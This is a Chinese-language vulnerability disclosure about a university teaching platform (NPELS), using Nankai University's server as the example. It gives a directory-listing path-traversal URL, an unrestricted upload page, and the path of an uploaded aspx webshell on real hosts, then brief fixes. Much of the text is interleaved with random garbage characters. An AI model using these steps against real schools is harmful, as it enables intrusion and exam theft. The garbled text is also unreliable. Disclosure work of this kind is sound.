好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
# x! d) D% H9 m
- d( N9 [" ^- G; c详细说明:) T- \" H' `2 t, y3 @
8 u# N$ E7 k Q' y8 O- W2 g以南开大学的为例:
5 K6 P- \ ]& Ohttp://222.30.60.3/NPELS4 y+ b, q/ d1 E+ T3 {9 S$ M U
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址0 w! l$ ]8 v3 e* a7 L! r5 i. e
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
: j. r, h& ?0 t) E% R* R<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
1 J, j$ `2 O: y$ s</setting>6 z, A* H6 P% _% D: Z5 T
及版本号2 h4 C$ i, c8 d o( E: K
<add key="TVersion" value="1, 0, 0, 2187">
" [/ r! g, ]$ |6 @2 m. Z6 l, j</add>! ~3 J- F. N+ O+ P2 W( B( V! ]
直接访问8 q' n3 }4 W8 @6 V
http://222.30.60.3/NPELS/CommonService.asmx
7 I( o5 t' j1 h/ \6 G& F6 _使用GetTestClientFileList操作,直接 HTTP GET 列目录:/ E3 u- N/ r, J8 B$ d0 [8 Q
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 21875 b; U+ b- r3 I% A. q0 q
进一步列目录(返回的网页很大,可以直接 wget 下来)
# D! x: U( h7 K# `http://222.30.60.3/NPELS/CommonS ... List?version=../../4 X! F+ [2 K4 P0 j
! L$ {( ?! k! c! m( F发现
2 m2 X5 g+ R3 \- h( g: ihttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm$ B: o: n! R3 d5 }; A7 W
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
: u4 {$ `9 \. F' Y0 l. c8 Q5 a上传后继续列目录找到木马地址直接访问即可
]& U' `' n, _1 P' u6 x0 k4 e
2 F7 h$ Q* v- W: Y) X! JOOXX, Z0 `( Z1 C0 ]" J3 U% J n
, }1 e5 |# ^9 J' n/ {Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法 x# e& D# C+ D* f; V, n
漏洞证明:( S( y) Z1 p2 n3 j0 j% A9 g
$ a' d+ Z' x1 G+ t3 u1 j
列目录:2 ~ `- q7 n Y; A4 t
http://222.30.60.3/NPELS/CommonS ... List?version=../../
. j# A7 X( P# u9 ~, | D" x9 Z文件上传:
% ]5 L* D: C t4 x$ j: F/ whttp://222.30.60.3/npelsv/editor/editor.htm% i! m( S4 A6 Y. W B# b# S1 ~9 a
0 N! R# H! B5 P, O( k上传木马:
# K3 t$ X& D" s, f; S$ d% s; g* Phttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx' E; y2 ]! e8 W. J, y1 A
4 N" J1 g& v1 }. ]0 K$ Y
修复方案:# Q4 {" X# i, D& A0 z* B Q3 ]9 h' _
好像考试系统必须使用 CommonService.asmx! X [& |8 K S. B4 t1 T
最好配置文件加密或者用别的方式不让它泄露出来; l; F: O1 t. ?6 p2 S0 }
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样
& s, P/ f* f% s9 ?& \ |